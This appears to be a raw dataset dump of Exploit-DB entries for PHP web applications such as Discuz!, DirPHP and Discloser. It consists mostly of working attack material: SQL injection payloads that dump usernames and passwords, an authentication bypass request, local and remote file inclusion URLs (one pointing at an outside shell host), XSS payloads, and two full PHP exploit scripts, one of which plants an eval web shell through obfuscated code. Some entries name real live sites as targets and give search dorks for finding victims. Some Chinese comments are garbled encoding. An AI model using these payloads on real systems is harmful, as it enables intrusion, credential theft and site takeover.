deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50370
Description: Directory Management System 1.0 - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2021-10-01
Author: Sanjay Singh

Exploit:
# Exploit Title: Directory Management System  1.0 - SQL Injection Authentication Bypass
# Date: 2021-10-01
# Exploit Author: SUDONINJA
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/directory-management-system-using-php-and-mysql/
# Version: v1.0
# Tested on: Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/dfsms/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step 4 – Change the username to admin' or '1'='1  and password to dfsms
Step 5 – Click forward and now you will be logged in as admin.

POC

POST /dms/admin/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://localhost
Connection: close
Referer: http://localhost/dms/admin/
Cookie: PHPSESSID=hgjvarn4tie1nmsufdn8mf1hrl
Upgrade-Insecure-Requests: 1

username=admin%27+or+%271%27%3D%271&[CREDENTIAL_REDACTED]+or+%271%27%3D%271&login=login
Exploit-DB #25653
Description: DirectTopics 2 - 'topic.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-12
Author: Morinex Eneco

Exploit:
source: https://www.securityfocus.com/bid/13608/info

DirectTopics is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/topic.php?topic=669%B4SQL%20INJECTION
Exploit-DB #37617
Description: dirLIST 0.3.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-08
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/54933/info

dirLIST is prone to multiple local file-include vulnerabilities and an arbitrary-file upload vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information. 

http://www.example.com/dirlist_0.3.0/dirLIST_files/gallery_files/show_scaled_image.php?image_path=../../../../../windows/win.ini
http://www.example.com/irlist_0.3.0/dirLIST_files/thumb_gen.php?image_path=../../../../../windows/win.ini
Exploit-DB #34173
Description: DirPHP 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2014-07-27
Author: black hat

Exploit:
# Exploit Title: DirPHP - version 1.0 Local File Inclusion
# Google Dork: intext:DirPHP - version 1.0 - Created & Maintained by Stuart
Montgomery
# Date: 7/26/14
# Exploit Author: -Chosen-
# Contact: dark[dot]binary[dot]code@gmail.com
# Version: DirPHP - Version 1.0
# Tested on: *nix

PoC:

http://site.com/path/index.php?phpfile=/etc/passwd
Exploit-DB #39580
Description: Disc ORGanizer (DORG) - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-03-21
Author: SECUPENT

Exploit:
Exploit Title:  DORG - Disc Organization System SQL Injection And Cross Site Scripting 
Software Link: http://www.opensourcecms.com/scripts/details.php?scriptid=479
Author: SECUPENT 
Website:www.secupent.com
Email: research{at}secupent{dot}com
Date: 20-3-2016


SQL Injection: 

link: http://localhost/dorg/results.php?q=3&search=%2527&type=3

Screenshot: http://secupent.com/exploit/images/drogsql.jpg

Cross Site Scripting (XSS):

link: http://localhost/dorg/results.php?q=%27%22--%3E%3C%2fstyle%3E%3C%2fscRipt%3E%3CscRipt%3Ealert%280x00194A%29%3C%2fscRipt%3E&search=Search&type=3

Screenshot: http://secupent.com/exploit/images/drogxss.jpg
Exploit-DB #2188
Description: Discloser 0.0.4 - 'fileloc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-15
Author: Arash RJ

Exploit:
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
| discloser 0.0.4 Remote File Inclusion Vulnerability
|
| Download: http://optusnet.dl.sourceforge.net/sourceforge/discloser/discloser-0.0.4.tar.gz
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|Contact|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
| Discoverd by: Arash RJ
|
| Team: PersianFox Digital Security Team
|
| URL: http://www.PersianFox.com
|
| E-Mail: arashrj@gmail.com
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|Exploit|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
| http://[Target]/[Path]/content/content.php?fileloc=http://www.evalsite.com/shell.php?
|
| http://[Target]/[Path]/inc/indexhead.php?fileloc= http://www.evalsite.com/shell.php?
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|

# milw0rm.com [2006-08-15]
Exploit-DB #9349
Description: Discloser 0.0.4-rc2 - 'index.php?more' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-03
Author: Salvatore Fresta

Exploit:
********   Salvatore "drosophila" Fresta   ********

[+] Application: Discloser
[+] Version: 0.0.4-rc2
[+] Website: http://discloser.sourceforge.net/

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Date: 21 Feb 2004

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs


- [A] SQL Injection

[-] Risk: medium
[-] File affected: displayposts.php

This flaw allows a guest to insert arbitrary SQL 
statments in the affected query.

...

if (isset($_GET['more'])) {
			$more = $_GET['more'];
			$query = mysql_query("select ". $tableprefix ."posts.*, ". $tableprefix ."users.username, ". $tableprefix ."users.email from ". $tableprefix ."posts, ". $tableprefix ."users where ". $tableprefix ."posts.poster = ". $tableprefix ."users.username and ". $tableprefix ."posts.id = $more");

...


***************************************************

[+] Code


- [A] SQL Injection

You can retrieve information from 3,4,7,8 fields.

http://www.site.com/path/index.php?more=-1 UNION ALL SELECT 1,'long',3,4,5,6,7,8,9,10


***************************************************

[+] Fix

To fix the flaw, you must to accept numeric content
only, using, for example, intval PHP function:

$more = intval($_GET['more']);


***************************************************

# milw0rm.com [2009-08-03]
Exploit-DB #6643
Description: Discussion Forums 2k 3.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-10-01
Author: ~!Dok_tOR!~

Exploit:
Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: Discussion Forums 2k
Version: 3.3
URL: http://developer.berlios.de/projects/df2k/
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5,6,7+from+DF2k_Members/*

Exploit 2:

http://localhost/[installdir]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*

Exploit 3:

http://localhost/[installdir]/misc/RSS5.php?SubID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5+from+DF2k_Members/*

# milw0rm.com [2008-10-01]
Exploit-DB #33458
Description: Discuz! 1.0 - 'referer' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37562/info

Discuz! is prone to an cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Discuz! 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/member.php?action=logout&referer=http://127.0.0.1/1"'><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
Exploit-DB #33464
Description: Discuz! 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-03
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37573/info

Discuz! is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Discuz! 2.0 is vulnerable; other versions may also be affected.


http://www.example.com/Discuz/post.php?action=edit&fid=1&tid=17&pid=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&page=1
http://www.example.com/Discuz/misc.php?action=emailfriend&tid=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
Exploit-DB #23653
Description: Discuz! 2.0/3.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-02-05
Author: Cheng Peng Su

Exploit:
source: https://www.securityfocus.com/bid/9584/info

It has been reported that Discuz! is prone to an Cross Site Scripting vulnerability. This issue is caused by the application failing to properly sanitize links embedded within user messages. Upon successful exploitation of this issue, a malicious user could steal cookie based authentication credentials or other information within the context of the affected web page.

[img]http://a.gif');alert(document.cookie);a=escape=('a[/img]
Exploit-DB #33166
Description: Discuz! 6.0 - '2fly_gift.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-15
Author: Securitylab.ir

Exploit:
source: https://www.securityfocus.com/bid/36044/info

Discuz! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Discuz! 6.0 is affected; other versions may also be vulnerable. 

The following example URI is available:

http://www.example.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members
Exploit-DB #33574
Description: Discuz! 6.0 - 'tid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-27
Author: s4r4d0

Exploit:
source: https://www.securityfocus.com/bid/37982/info

Discuz! is prone to an cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Discuz! 6.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/bbs/viewthread.php?tid=">><script>alert(HACKED BY FATAL ERROR)</script><marquee><h1>XSS By Fatal Error</h1></marquee>
Exploit-DB #33688
Description: Discuz! 6.0 - 'uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-02
Author: lis cker

Exploit:
source: https://www.securityfocus.com/bid/38484/info

Discuz! is prone to an cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Discuz! 6.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com:80/eccredit.php?action=list&uid="><script>alert(/Liscker/);</script>
Exploit-DB #6214
Description: Discuz! 6.0.1 - 'searchid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-06
Author: james

Exploit:
<?php
error_reporting(E_ALL&E_NOTICE);
print_r("
+------------------------------------------------------------------+
Exploit discuz6.0.1
Just work as php>=5 & mysql>=4.1
BY  james
+------------------------------------------------------------------+
");

if($argc>4)
{
 $host=$argv[1];
 $port=$argv[2];
 $path=$argv[3];
 $uid=$argv[4];
}else{
 echo "Usage: php ".$argv[0]." host port path uid\n";
 echo "host:      target server \n";
 echo "port:      the web port, usually 80\n";
 echo "path:      path to discuz\n";
 echo "uid :      user ID you wanna get\n";
 echo "Example:\r\n";
 echo "php ".$argv[0]." localhost 80 1\n";
 exit;
}

$content ="action=search&searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=".$uid."/*&do=submit";

$data = "POST /".$path."/index.php"." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: wap\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "Content-length: ".strlen($content)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $content."\r\n\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
 echo 'No response from '.$host;
 die;
}
fwrite($ock,$data);
while (!feof($ock)) {
   echo fgets($ock, 1024);
}
?>

# milw0rm.com [2008-08-06]
Exploit-DB #7119
Description: Discuz! 6.x/7.x - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-11-14
Author: 80vul

Exploit:
#!/usr/bin/php
<?php
/**
 * Discuz! 6.x/7.x SODB-2008-13 Exp
 * By www.80vul.com
 * æ–‡ä»¶ä¸­æ³¨é‡Šçš„å˜é‡å€¼è¯·è‡ªè¡Œä¿®æ”¹
 */
$host = 'www.80vul.com';
// æœåŠ¡å™¨åŸŸåæˆ–IP
$path = '/discuz/';
// ç¨‹åºæ‰€åœ¨çš„è·¯å¾„
$key  = 0;
// ä¸Šé¢çš„å˜é‡ç¼–è¾‘å¥½åŽï¼Œè¯·å°†æ­¤å¤„çš„å€¼æ”¹ä¸º1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
     exit("ä¸“ä¸šç‚¹å¥½ä¸,å…ˆçœ‹çœ‹é‡Œé¢çš„æ³¨é‡Š -,-\n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
    exit("å“¦,å¤§æ¦‚æ˜¯æ²¡æœ‰å¼€å¯WAPæ³¨å†Œå§ -,-\n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
    exit("å¥½äº†,åŽ»çœ‹çœ‹ä½ çš„WebShellå§:\t$shell\né‡Œé¢çš„ä»£ç æ˜¯:\t<?eval(\$_POST[c])?>\nåˆ«å‘Šè¯‰æˆ‘ä½ ä¸ä¼šç”¨ -,-\n");
else
    exit("å—¯,å¤§æ¦‚æ˜¯è¯¥ç½‘ç«™ä¸å­˜åœ¨æ¼æ´ž,æ¢ä¸€ä¸ªå§ -,-\n");

function send()
{
    global $host, $path, $url, $cmd;

    $data = "POST ".$path."wap/index.php  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Referer: http://$host$path\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Connection: Close\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

# milw0rm.com [2008-11-14]
Exploit-DB #9529
Description: Discuz! Plugin Crazy Star 2.0 - 'fmid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-26
Author: ZhaoHuAn

Exploit:
============================================================
Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability
============================================================

========================[Author]============================                    

 [+] Founded 	: ZhaoHuAn				     
 [+] Contact	: ZhengXing[at]shandagames[dot]com	         
 [+] Blog	: http://www.patching.net/zhaohuan/	         
 [+] Date	: August, 26th 2009 [Double Seventh Festival]	 
								 
========================[Soft Info]=========================		 
								 
Software: Discuz! Plugin Crazy Star(family)		         
Version	: 2.0					                 
Vendor	: http://www.discuz.com			             	 



[-] Exploit:
[+] 1) Register a User
    2) Login!
[+] and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--

[-] SqlI PoC:
[+] http://target/[path]/plugin.php?identifier=family&module=family&action=view&fmid=1+and+1=2+unIon+selecT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--
    [?] = Valid fmid Number

[+] Demo Live:
[-] http://sj.netease.com/plugin.php?identifier=family&module=family&action=view&fmid=6+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,group_concat(uid,0x3a,username,0x3a,password),19,20,21,22,23,24,25,26,27,28,29,30,31 from bbs_members--

[-] http://www.war3club.net/plugin.php?identifier=family&module=family&action=view&fmid=11+and+1=2+unIon+selecT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31,32,33 from cdb_members--


/---------------------------------------------www.zhaohuan.net-------------------------------------------------\  

  Today is the VALENTINE'S Day in China, the seventh day of the seventh lunar month.
  Raise your head on August 26 and gaze at the stars, you will find something romantic going on in the sky  ;) 
  Greetz : Weeny <- love u more & more

\--------------------------------------------------------------------------------------------------------------/

# milw0rm.com [2009-08-26]
Exploit-DB #9576
Description: Discuz! Plugin JiangHu 1.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-02
Author: ZhaoHuAn

Exploit:
=========================================================
Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability
=========================================================

========================[Author]=========================                   

 [+] Founded 	: ZhaoHuAn				     
 [+] Contact	: ZhengXing[at]shandagames[dot]com	         
 [+] Blog	: http://www.patching.net/zhaohuan/	         
 [+] Date	: Feb, 9th 2009	 
 [+] Update	: Sep, 1th 2009	
								 
========================[Soft Info]======================		 
								 
Software: Discuz! Plugin JiangHu Inn		         
Version	: 1.1					                 
Vendor	: http://www.discuz.com
d0rk    : inurl:forummission.php			             	 



[-] Exploit:
[+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] SqlI PoC:
[+] http://target/[path]/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[+] Demo Live:
[-] http://www.palslp.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--

[-] http://bbs.sunspals.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--


/---------------------------------------------www.zhaohuan.net-------------------------------------------------\  

                                            Greetz : Snda Security Team
                                                    & Normal is boring - -!

\--------------------------------------------------------------------------------------------------------------/

# milw0rm.com [2009-09-02]
Exploit-DB #20913
Description: Disqus Blog Comments - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-08-29
Author: Spy_w4r3

Exploit:
:----------------------------------------------------------------------------------------------------------------------------------------:
Blog Comments Powered By Disqus <- Sql Injection
:----------------------------------------------------------------------------------------------------------------------------------------:

:----------------------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title: Blog Comments Powered By Disqus
: # Date: 28 August 2012
: # Author: Spy_w4r3
: # # Vendor or Software Link: http://disqus.com
: # Category : Web Applications
: # Google dork: inurl:/index.php?id= intext:"Powered by Disqus"
: # Vulnerability : SQL Injection Vulnerability
: # Tested On : Mozilla Firefox 14.0.1 (Windows)
: # Greetz to : Indonesian BlackHat Team, dr.spyc0d3r, syafm0vic007, budi_spielberg, zee.eichel, Xsan Lahci, ono_efeyu, wahyu_ade10, And Thia
:----------------------------------------------------------------------------------------------------------------------------------------:

# DORKS
:----------------------------------------------------------------------------------------------------------------------------------------:
inurl:/index.php?id= intext:"Powered by Disqus"

# Proof of Concept
:----------------------------------------------------------------------------------------------------------------------------------------:
SQL Injection : http://victim site/<path>/index.php?id=['SQL]

# Demo site: 
:----------------------------------------------------------------------------------------------------------------------------------------:
http://fourtales.com/index.php?id=116'
http://blasternation.com/index.php?id=131'
http://www.gogetaroomie.com/index.php?id=298'

# Credits 
:----------------------------------------------------------------------------------------------------------------------------------------:
http://indonesianblackhat.web.id | http://indonesianblackhat.web.id